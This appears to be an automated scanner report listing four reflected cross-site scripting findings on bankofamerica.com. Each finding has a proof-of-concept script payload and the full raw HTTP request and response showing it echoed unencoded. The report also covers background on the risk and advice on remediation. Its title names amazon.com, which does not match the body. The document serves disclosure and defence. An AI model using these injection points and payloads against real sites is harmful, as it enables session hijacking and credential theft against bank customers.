XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, www.amazon.com

Report generated by XSS.Cx at Mon Aug 06 09:21:29 EDT 2012.

1. Cross-site scripting (reflected)

1.1. http://www.bankofamerica.com/search/ [name of an arbitrarily supplied request parameter]

1.2. https://www.bankofamerica.com/Control.do [BOFA_LOCALE_COOKIE cookie]

1.3. https://www.bankofamerica.com/d618d [state cookie]

1.4. http://www.bankofamerica.com/xlink-in.cgi [Referer HTTP header]

1. Cross-site scripting (reflected)
There are 4 instances of this issue:

http://www.bankofamerica.com/search/ [name of an arbitrarily supplied request parameter]
https://www.bankofamerica.com/Control.do [BOFA_LOCALE_COOKIE cookie]
https://www.bankofamerica.com/d618d [state cookie]
http://www.bankofamerica.com/xlink-in.cgi [Referer HTTP header]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.bankofamerica.com/search/ [name of an arbitrarily supplied request parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.bankofamerica.com
Path:	/search/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as text between XMP tags. The payload 91040</xmp><script>alert(1)</script>5d926b35f61 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within XMP tags does not prevent XSS attacks if the user is able to close the XMP tag.

Request

POST /search/ HTTP/1.1
Host: www.bankofamerica.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20120524 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Cookie: INTL_LANG=en_US; TLTSID=B9472E6EDF4210DF7347FEC31928C384; TLTUID=B9472E6EDF4210DF7347FEC31928C384; BOFA_LOCALE_COOKIE=en-US; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20120805:0:O:4a53906b-81a5-4e02-85631d5f34b855bb; WA=1726259115.537.0000; throttle_value=3; cmTPSet=Y; CM_RegCustID=20120805:0:O:4a53906b-81a5-4e02-85631d5f34b855bb; mbox=session#1344201301085-116833#1344203985|disable#browser%20timeout#1344204937|check#true#1344202185; CFID=165489586; CFTOKEN=9462d6%2D0007859c%2De25d%2D101e%2D9ce0%2D839bbc150000; GEOSERVER=3; BIGipServerngen-www.80=1554429611.20480.0000; TCID=0007b55b-c092-ab52-80df-e57c00000014; NSC_CbolPgBnfsjdb=445b320a7852; state=KS; SURVEY_SHOWN_IN_LAST_6_MONTHS=N; SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNYNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

ui_mode=question&question_box=banking+checking+savings+crecit+cards&91040</xmp><script>alert(1)</script>5d926b35f61=1

Response

HTTP/1.1 500 Internal Server Error
Server: Sun-ONE-Web-Server/6.1
Date: Sun, 05 Aug 2012 21:46:09 GMT
Content-type: text/html
P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi"
Page-Completion-Status: Abnormal
Content-Length: 2098

...[SNIP]...
<XMP> 91040</XMP><SCRIPT>ALERT(1)</SCRIPT>5D926B35F61
</XMP>
...[SNIP]...

1.2. https://www.bankofamerica.com/Control.do [BOFA_LOCALE_COOKIE cookie] previous next

Summary

Severity:	Medium
Confidence:	Certain
Host:	https://www.bankofamerica.com
Path:	/Control.do

Issue detail

The value of the BOFA_LOCALE_COOKIE cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload eb2b2</script><script>alert(1)</script>7c400d90e26 was submitted in the BOFA_LOCALE_COOKIE cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behavior is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. Applications often contain "cookie-forcing" conditions which make this possible, and such a condition in any related domain or subdomain can potentially be used for this purpose. Nonetheless, this limitation somewhat mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /Control.do?body=overview HTTP/1.1
Host: www.bankofamerica.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20120524 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: https://sitekey.bankofamerica.com/sas/resetPasscodeAction.do
Cookie: TLTUID=B9472E6EDF4210DF7347FEC31928C384; BOA_0020=20120805:0:O:4a53906b-81a5-4e02-85631d5f34b855bb; throttle_value=3; CM_RegCustID=20120805:0:O:4a53906b-81a5-4e02-85631d5f34b855bb; mbox=session#5555#1344210626|PC#1344201301085-116833.17#1345418366|disable#browser%20timeout#1344212209|check#true#1344208826; CFID=165489586; CFTOKEN=9462d6%2D0007859c%2De25d%2D101e%2D9ce0%2D839bbc150000; TCID=0007b55c-04df-7358-80ff-a7e800000035; NSC_CbolPgBnfsjdb=445b320a7852; state=DE; SURVEY_SHOWN_IN_LAST_6_MONTHS=Y; TLTSID=03AE02CCDF5310DF22679837A519C01A; session_start_time=1344209020914; cmTPSet=Y; referer=http%3A%2F%2Fpromo.bankofamerica.com%2Fsbswitch%2F%3Fcm_sp%3DSB-Checking-_-SmallBusinessChecking-_-SC14LT0007_DialogueZone1_Learnhowtomaketheswitch; BIGipServerngen-www.80=1453766315.20480.0000; CMAVID=70061343877955187453167; NSC_CpBQsfmjwf=445b32277852; JSESSIONID_APS=0000tf0HGfdZiOFLvU73QA2zURz:15e55maeb; BOFA_LOCALE_COOKIE=en-USeb2b2</script><script>alert(1)</script>7c400d90e26; WA=1721016747.537.0000; JS_WWW=0000rAfMSTm7f_OPIfLZH_QczKS:12rfueejl; cmRS=&t1=1344208462088&t2=1344208463025&t3=1344208516615&lti=1344208511678&ln=&hr=javascript%3Adocument.frmState.submit%28%29%3B&fti=1344208508126&fn=state%20selector%20page_frmState%3A0%3B&ac=&fd=0%3A3%3Astate%3B&uer=&fu=http%3A//www.bankofamerica.com/state.cgi&pi=state%20selector%20page&ho=sofa.bankofamerica.com/eluminate%3F&ci=90010394&ul=http%3A//www.bankofamerica.com/state.cgi%3Fsection%3Dgslsignin%26update%3Dyes%26cookiecheck%3Dyes%26source_id%3D10002FUN0000000&rf=http%3A//www.fakereferrerdominator.com/referrer%27PathName%3FRefParName%3DRefValued; WAOR=1721016747.281.0000; SID=0000AB4D2300501EFE48; SERVERID=1344208815824_26238_80; appSession=WEAS; locale=en_US; JS_HOME=0000LP_zRp3IkJ7MR1YV0g5lFAB:12qb4k4pc; INTL_LANG=en_US

Response

HTTP/1.1 200 OK
Date: Sun, 05 Aug 2012 23:28:12 GMT
Server: IBM_HTTP_Server
X-FRAME-OPTIONS: DENY
Cache-Control: no-cache
Set-Cookie: js_pbi=0000vAB7NGq00emyEn_NFyphHAr:16irt2b7i; Path=/; Secure
Set-Cookie: state=DE; Expires=Fri, 01 Feb 2013 23:28:12 GMT; Path=/; Domain=.bankofamerica.com
Set-Cookie: CONTEXT=en_US; Path=/; Domain=.bankofamerica.com
Set-Cookie: INTL_LANG=en_US; Path=/; Domain=.bankofamerica.com
Set-Cookie: LANG_COOKIE=en_US; Path=/; Domain=.bankofamerica.com
Set-Cookie: hp_pf_anon=anon=((ct=+||fn=+||lang=en_US||st=+||zc=+)); Path=/; Domain=.bankofamerica.com; Secure
Set-Cookie: BOA_0020=20120805:0:O:4a53906b-81a5-4e02-85631d5f34b855bb; Expires=Wed, 03 Aug 2022 23:28:12 GMT; Path=/; Domain=.bankofamerica.com
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Via: On-Demand Router/1.0
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=424
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Set-Cookie: WA=1726259115.537.0000;path=/;domain=.bankofamerica.com;
Content-Length: 53644

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US"> <head>
...[SNIP]...
<script type="text/javascript"> var AdTrackingAction = ""; boaMboxCreate("BOA_HOME_SIGNON_HERO", 'profile.tc_lang=en_USEB2B2</SCRIPT><SCRIPT>ALERT(1)</SCRIPT>7C400D90E26','profile.state=DE','profile.BA_0021=null','profile.BOA_HPR=null','profile.BOA_0020=999');</script>
...[SNIP]...

1.3. https://www.bankofamerica.com/d618d [state cookie] previous next

Summary

Severity:	Medium
Confidence:	Certain
Host:	https://www.bankofamerica.com
Path:	/d618d

Issue detail

The value of the state cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4ec9"><script>alert(1)</script>4503b84eb5 was submitted in the state cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behavior is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. Applications often contain "cookie-forcing" conditions which make this possible, and such a condition in any related domain or subdomain can potentially be used for this purpose. Nonetheless, this limitation somewhat mitigates the impact of the vulnerability.

Request

GET /d618d HTTP/1.1
Host: www.bankofamerica.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20120524 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Cookie: TLTUID=B9472E6EDF4210DF7347FEC31928C384; BOA_0020=20120805:0:O:4a53906b-81a5-4e02-85631d5f34b855bb; throttle_value=3; CM_RegCustID=20120805:0:O:4a53906b-81a5-4e02-85631d5f34b855bb; mbox=session#1344201301085-116833#1344205649|disable#browser%20timeout#1344204937|check#true#1344203849; CFID=165489586; CFTOKEN=9462d6%2D0007859c%2De25d%2D101e%2D9ce0%2D839bbc150000; TCID=0007b55b-c092-ab52-80df-e57c00000014; NSC_CbolPgBnfsjdb=445b320a7852; state=KSc4ec9"><script>alert(1)</script>4503b84eb5; SURVEY_SHOWN_IN_LAST_6_MONTHS=Y; cmTPSet=Y; GEOSERVER=3; js_pbi=0000xnlUQeOGxd5dEkXCHd7-ZYi:16p17pc9f; WA=1726259115.537.0000; BOFA_LOCALE_COOKIE=en-US; JSESSIONID=00002K_QXMtvuiAZFzmVeJcFWvb:15819ukis; portaltype=public; authstep=0; portal=rv; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; hp_pf_anon=anon=((ct=+||fn=+||lang=en_US||st=+||zc=+)); TLTSID=B9472E6EDF4210DF7347FEC31928C384; CPO_USER_PREF=LL=en_US|DateFormat=MMMM dd, yyyy h:mm a z|TimeZone=America/Chicago|Region=US/Canada; SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNYNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN; JS_SEARCH=0000rDwzR1dH9nXcJuWVtin8Cmk:13igq4lcn; BIGipServerngen-www.80=3217471147.20480.0000; CMAVID=70061343877955187453167

Response

HTTP/1.1 404 Not found
Server: Sun-ONE-Web-Server/6.1
Date: Sun, 05 Aug 2012 22:06:52 GMT
Set-Cookie: TLTSID=B9472E6EDF4210DF7347FEC31928C384; Path=/; Domain=.bankofamerica.com
Set-Cookie: TLTUID=B9472E6EDF4210DF7347FEC31928C384; Path=/; Domain=.bankofamerica.com; Expires=Sun, 05-08-2022 22:06:52 GMT
P3p: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi"
Content-Length: 11842

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta name="Description" content="Plea
...[SNIP]...
<a href="http://www.bankofamerica.com/contact/?statecheck=KSc4ec9"><script>alert(1)</script>4503b84eb5">
...[SNIP]...

1.4. http://www.bankofamerica.com/xlink-in.cgi [Referer HTTP header] previous

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.bankofamerica.com
Path:	/xlink-in.cgi

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 28062"-alert(1)-"5af5ba403c7 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behavior is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /xlink-in.cgi?state=DE&url=onlinebanking/index.cfm?adlink=&statecheck=DE&context=en&locale=&statecheck=CA&cm_mmc=&cm_sp= HTTP/1.1
Host: www.bankofamerica.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20120524 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=28062"-alert(1)-"5af5ba403c7
Cookie: TLTUID=B9472E6EDF4210DF7347FEC31928C384; BOA_0020=20120805:0:O:4a53906b-81a5-4e02-85631d5f34b855bb; throttle_value=3; CM_RegCustID=20120805:0:O:4a53906b-81a5-4e02-85631d5f34b855bb; mbox=PC#1344201301085-116833.17#1345423601|check#true#1344214061|session#1344214000947-403372#1344215861; CFID=165489586; CFTOKEN=9462d6%2D0007859c%2De25d%2D101e%2D9ce0%2D839bbc150000; TCID=0007b55c-04df-7358-80ff-a7e800000035; state=DE; SURVEY_SHOWN_IN_LAST_6_MONTHS=Y; referer=http%3A%2F%2Fwww.google.com%2Fsearch%3Fhl%3Den%26q%3D846b9%22-alert%281%29-%22735fd7a9e88; cookiecheck=enabled; BIGipServerngen-www.80=767997611.20480.0000

Response (redirected)

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Mon, 06 Aug 2012 12:49:02 GMT
Content-type: text/html
X-FRAME-OPTIONS: SAMEORIGIN
P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi"
Set-Cookie: state=DE; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/
Set-Cookie: STATE=DE; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/
Set-Cookie: STATE=DE; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com
Set-Cookie: state=DE; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com
Page-Completion-Status: Normal
Page-Completion-Status: Normal
Set-Cookie: BOA_ADVISOR=OLB%3A2; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com;
Set-Cookie: CONTEXT=en; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com;
Content-Length: 65177


...[SNIP]...

       referer_value="http://www.google.com/search?hl=en&q=28062"-alert(1)-"5af5ba403c7";


           cmCreateRegistrationTag(null, 'overview', '20120805:0:O:4a53906b-81a5-4e02-85631d5f34b855bb', false, 'DE', 'OLB:2', 'onlinebanking', null, null, null);


   function pageview_tag(product,tag
...[SNIP]...

Report generated by XSS.Cx at Mon Aug 06 09:21:29 EDT 2012.